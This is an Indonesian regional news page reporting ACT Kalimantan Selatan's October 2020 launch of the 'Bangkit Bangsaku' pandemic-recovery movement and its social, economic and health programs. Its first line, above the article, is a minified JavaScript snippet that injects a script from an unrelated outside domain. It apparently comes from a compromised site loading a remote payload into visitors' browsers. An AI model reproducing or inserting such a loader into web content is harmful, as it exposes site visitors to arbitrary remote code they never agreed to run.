(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pandemi Covid-19 yang berdampak pada kehidupan masyarakat secara keseluruhan. Kementerian Keuangan RI memproyeksikan perekonomian Indonesia sepanjang tahun 2020 sebesar minus 1,7 hingga minus 0,6 persen, yang kemungkinan terjadi pada kuartal ketiga tahun 2020. Tentunya, berimbas pada 15 juta pekerja yang mengalami PHK.
Berangkat dari keprihatinan itu, Aksi Cepat Tanggap (ACT) menginisiasi gerakan nasional bertajuk “Bangkit Bangsaku: Habis Gelap Bangkitkan Terang”. Tujuannya, ACT mengajak seluruh masyarakat Indonesia untuk optimis dan bersikap positif dalam menatap masa depan.
Gerakan ini sendiri, secara nasional telah diluncurkan dua pekan lalu. Sedangkan di Kalimantan Selatan, gerakan ini diluncurkan oleh ACT Cabang Kalimantan Selatan pada Jumat (9/10/2020) sore, dalam sebuah diskusi publik “Bangkit Bangsaku: Habis Gelap Bangkitkan Terang” di Kantor Cabang ACT Kalimantan Selatan.
“Ini adalah program gerakan secara nasional dan sudah launching di pusat pada dua pekan lalu. Jadi kantor cabang ACT memiliki kewajiban menyampaikan kepada seluruh masyarakat Indonesia khususnya dan dunia pada umumnya,” kata Kepala Cabang ACT Kalimantan Selatan, Zainal Arifin.
Ditambahkan Zainal, gerakan ini menjadi semangat baru dalam menghadapi kondisi pandemi Covid-19 yang belum dapat diprediksi kapan berakhirnya. Gerakan “Bangkit Bangsaku” sendiri menjadi mesin bersama dalam menghadapi situasi saat ini yang masih tak menentu.
“Kami tidak ingin (gerakan) ini hanya menjadi sebuah tanggung jawab kami sebagai lembaga kemanusiaan. Tetapi harapan kami menjadi sebuah tanggung jawab kita bersama, bagaimana caranya kita membantu sesama, sekecil apapun yang bisa kita bisa bantu ketika mereka menghadapi kondisi pandemi Covid-19 ini,” terang Zainal.
Gerakan “Bangkit Bangsaku” ini sendiri, Zainal berharap, merupakan sebuah kekuatan baru dari ACT. Diharapkan, program ini dapat berlanjut dan mendapat dukungan dari seluruh elemen masyarakat di Indonesia maupun di dunia.
Gerakan “Bangkit Bangsaku” sendiri, akan fokus pada penyelamatan tiga sektor vital yang terdampak pandemi Covid-19. Yaitu sektor sosial, ekonomi dan kesehatan.
Di sektor sosial, ACT meneruskan program pangan diantaranya Lumbung Beras Wakaf, Lumbung Sedekah Pangan, Humanity Care line dan lainnya. Di sektor ekonomi, ACT meneruskan program yaitu membantu pelaku usaha mikor dan ultra mikro untuk tetap bertahan dan bangkit di tengah ancaman resesi ekonomi, dengan mendorong perekonomian bangsa yang banyak disokong oleh sektor UMKM.
Terakhir, di sektor kesehatan, ACT terus berikhtiar melakukan langkah preventif terhadap penyebaran Covid-19. Seperti aksi disinfeksi, penyediaan APD (alat pelindung diri) bagi tenaga medis, hingga dukungan pangan dan multivitamin bagi tenaga kesehatan yang menangani langsung pasien Covid-19. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.